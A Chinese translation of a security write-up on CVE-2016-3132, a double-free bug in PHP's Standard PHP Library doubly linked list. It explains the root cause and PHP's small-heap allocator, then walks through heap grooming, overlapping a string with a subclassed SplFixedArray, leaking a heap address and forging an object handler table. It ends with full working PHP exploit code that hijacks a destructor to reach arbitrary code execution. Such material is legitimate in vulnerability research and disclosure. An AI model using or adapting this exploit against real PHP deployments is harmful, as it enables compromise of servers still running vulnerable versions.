-
-
[翻译] Double Free in Standard PHP Library Double Link List [CVE-2016-3132]
-
2017-10-20 20:28 4811
-
[翻译] Double Free in Standard PHP Library Double Link List [CVE-2016-3132]
我在标准PHP库(SPL)中发现了一个双重释放的漏洞。 在编写explopit的时候,我似乎发现很少关于PHP如何在内部管理堆的write up。 通过这个博客,我将介绍一下这个话题,以及我在PHP中利用这样一个双重释放漏洞的方法。
根本原因分析
当传入无效索引时,该漏洞位于SplDoublyLinkedList::offsetSet ( mixed $index , mixed $newval )。举个例子:
<?php $var_1=new SplStack(); $var_1->offsetSet(100,new DateTime('2000-01-01')); //DateTime will be double-freed
当无效索引(在这种情况下为100)被传递到函数中时,DateTime对象在第833行中首次被释放:
832 if (index < 0 || index >= intern->llist->count) { 833 zval_ptr_dtor(value); 834 zend_throw_exception(spl_ce_OutOfRangeException, "Offset invalid or out of range", 0); 835 return; 836 }
当在Zend/zend_vm_execute.h:855 清除调用栈时,第二次释放发生。
854 EG(current_execute_data) = call->prev_execute_data; 855 zend_vm_stack_free_args(call);
PHP内部堆管理
在PHP内部,当通过调用诸如ealloc()进行堆分配时,根据大小分为3类:
Small heap allocation (< 3072 bytes)
Large heap adllocation ( < 2 megabytes)
Huge heap allocation ( > 2 megabytes)
让我们探索小堆分配/释放,因为我们将在这个exploit中使用到。 当处理由小堆分配器处理的内存时,每个内存块根据其大小分为“bin”。 例如:
Bin #1 : contains chunk sizes from 1 - 8 bytes
Bin #2: contains chunk sizes from 9 - 16 bytes
Bin #3: contains chunk sizes from 17 - 24 bytes
Bin #YouGetTheIdea....
当内存块通过调用诸如efree()之类时,memory chunk在php内部被释放,如果所讨论的块是由小堆deallocator处理的,而不是将其释放回到操作系统,它会将其缓存并放入适当的“Bin”。 该Bin被实现为单链表,其中释放的内存块被链接在一起。
每个释放的块的前几个字节可以被认为是它的头,它包含一个指向下一个释放的块的指针。
在内存中的外观看起来是这样的:
Exploitation
步骤0:评估这是否可行。 通过尝试向对象插入无效的SplDoublyLinkedList索引来触发此漏洞。 这会触发致命错误:
Fatal error: Uncaught OutOfRangeException: Offset invalid or out of range
致命错误后,PHP立即退出。 这样可以防止我们在双重释放后在“userland”中运行任何用户代码。 因此,为了让我们利用这个漏洞,我们需要捕捉错误,使PHP不会在双重释放之后立即退出。 这可以通过set_exception_handler()完成;
步骤1:我们需要决定我们想要触发双重释放的对象。由于以下原因我选择使用SplFixedArray:
SplFixedArray的大小足够小,以至于它被小堆分配器管理
SplFixedArray的大小是PHP内部不常用的大小,因此干扰较小。 在这种情况下,SplFixedArray的大小为0x78,并适合Bin#12。
SplFixedArray在内部定义为结构体,在特定的偏移处有一个成员可用于开发。 我将在步骤3中详细介绍这一点。
步骤2:我们需要做一些堆massaging。 首先让我们做一些清理和清除与SplFixedArray的大小相关联的Bin中的任何空闲内存块。 我们可以通过分配对象的许多实例来做到这一点。 这也可以确保分配的SplFixedArrays在连续的内存块中。
for ($x=0;$x<100;$x++){ $z[$x]=new SplFixedArray(5); } unset($z[50]);
在上面的第5行,我们释放了第50个SplFixedArray。 这在分配的内存的连续块中创建一个孔,并且可以被可视化为:
我们立即分配一个新的SplFixedArray(使它占据第50个slot)并触发双重释放漏洞:
<?php $var_1=new SplStack(); $var_1->offsetSet(100,new SplFixedArray);
所有这些堆操作的原因是确保在受控的连续大块内存的位置触发双重释放漏洞。 这给了我对内存布局的相当好的控制,以及对其相邻的内存块的引用(第49和第51个SplFixedArray)。
第一次释放之后,这是内存的样子:
第二次释放之后,这是内存的样子:
步骤3:让我们现在在堆中利用这个abnormally。 请注意,仅有1个空闲块的内存?然而,链表现在有两个箭头指向相同的内存块。此时,堆被破坏,只有1个空闲内存块,php却认为有2个空闲内存块。
这意味着我们可以分配2个空闲块(来自Bin#12),它们将占用相同的内存空间:
?php $s=str_repeat('C',0x48); $t=new mySpecialSplFixedArray(5); class mySpecialSplFixedArray extends SplFixedArray{ public function offsetUnset($offset) { parent::offsetUnset($offset); } }
在上面的代码中,我们分配一个字符串(第2行)和一个对象mySpecialSplFixedArray(第3行),它们将占用第49个SplFixedArray和51st SplFixedArray之间的相同空间。
请注意,在第3行中,我分配了mySpecialSplFixedArray,它只是SplFixedArray的扩展类,但是offsetUnset方法被重写。 要了解为什么,让我们来看看一个String与SplFixedArray的PHP内部结构:
--当我们首先通过$s = str_repeat('C',0x48)分配字符串时,zend_string.len的值将为0x48
--接下来,如果我们要分配一个新的SplFixArray(),默认情况下fptr_offset_set的值为0.由于这占用与之前分配的字符串相同的内存空间,所以它将设置zend_string.len = 0
--但是通过扩展SplFixeArray类并重写offsetUnset(),fptr_offset_set将包含内存中某处的用户定义函数的地址。 这个地址无疑要大于0x48。 由于fptr_offset_set将重写zend_string.len(因为它们共享相同的内存空间),PHP现在认为我们有一个比我们原来分配的大得多的字符串(实际上它只分配了第49到51个SplFixArray之间的空间)。
步骤4:获取代码执行。此时:
--PHP现在认为$s是一个非常大的字符串,因此我们现在可以读/写第51个SplFixArray。
--$t是我们的mySpecialSplFixedArray对象,它与$s共享相同的地址空间。
假设我想在0xdeadbeef执行代码,这里是我要采取的方法:
1、创建一个具有指向0xdeadbeef的析构函数的伪造的Handler结构
2、重写mySpecialSplFixedArray handler来指向我们的伪造的Handler结构
3、unset(mySpecialSplFixedArray)可以调用我们对象的析构函数。 由于对象现在指向我们的伪造的handler结构,所以代码将在我们的析构函数指向的地方执行。
实现(1)很容易,因为我们可以写入第51个SplFixArray,并在那里写入我们的伪造handler结构.Achieving(2)也很容易,因为$s和mySpecialSplFixedArray共享相同的内存空间。
这里的棘手部分是,当我们创建伪造的handler结构时,我们不知道在哪里的地址是确切的伪造结构的地址。 不知道地址,我们不能将mySpecialSplFixedArray指向我们的伪造handler结构。
解决方案是释放第51和第52个SplFixedArray:
由于这次释放,第51个SPLFixedArray块的前8个字节现在指向第52个SPLFixedArray内存块。通过使用$s来读取第51个SplFixedArray的前8个字节,可以找出一个正确的内存地址。
这里是完整的利用代码:
<?php // ####### HELPER Function ############## function read_ptr(&$mystring,$index=0,$little_endian=1){ return hexdec(dechex(ord($mystring[$index+7])) .dechex(ord($mystring[$index+6])) . dechex(ord($mystring[$index+5])).dechex(ord($mystring[$index+4])).dechex(ord($mystring[$index+3])).dechex(ord($mystring[$index+2])). dechex(ord($mystring[$index+1])).dechex(ord($mystring[$index+0]))); } function write_ptr(&$mystring,$value,$index=0,$little_endian=1){ //$value=dechex($value); $mystring[$index]=chr($value&0xFF); $mystring[$index+1]=chr(($value>>8)&0xFF); $mystring[$index+2]=chr(($value>>16)&0xFF); $mystring[$index+3]=chr(($value>>24)&0xFF); $mystring[$index+4]=chr(($value>>32)&0xFF); $mystring[$index+5]=chr(($value>>40)&0xFF); $mystring[$index+6]=chr(($value>>48)&0xFF); $mystring[$index+7]=chr(($value>>56)&0xFF); } // ####### Exploit Start ####### class SplFixedArray2 extends SplFixedArray{ public function offsetSet($offset, $value) {} public function Count() {echo "!!!!######!#!#!#COUNT##!#!#!#!#";} public function offsetUnset($offset) { parent::offsetUnset($offset); } } function exception_handler($exception) { global $z; $s=str_repeat('C',0x48); $t=new SplFixedArray2(5); $t[0]='Z'; unset($z[22]); unset($z[21]); $heap_addr=read_ptr($s,0x58); print "Leak Heap memory location: 0x" . dechex($heap_addr) . "\n"; $heap_addr_of_fake_handler=$heap_addr-0x70-0x70+0x18+0x300; print "Heap address of fake handler 0x" . dechex($heap_addr_of_fake_handler) . "\n"; //Set Handlers write_ptr($s,$heap_addr_of_fake_handler,0x40); //Set fake handler write_ptr($s,0x40,0x300); //handler.offset write_ptr($s,0x4141414141414141,0x308); //handler.free_obj write_ptr($s,0xdeadbeef,0x310); //handler.dtor.obj str_repeat('z',5); unset($t); //BOOM! } set_exception_handler('exception_handler'); $var_1=new SplStack(); $z=array(); //Heap management for ($x=0;$x<100;$x++){ $z[$x]=new SplFixedArray(5); } unset($z[20]); $var_1->offsetSet(0,new SplFixedArray);
[培训]科锐软件逆向50期预科班报名即将截止,速来!!! 50期正式班报名火爆招生中!!!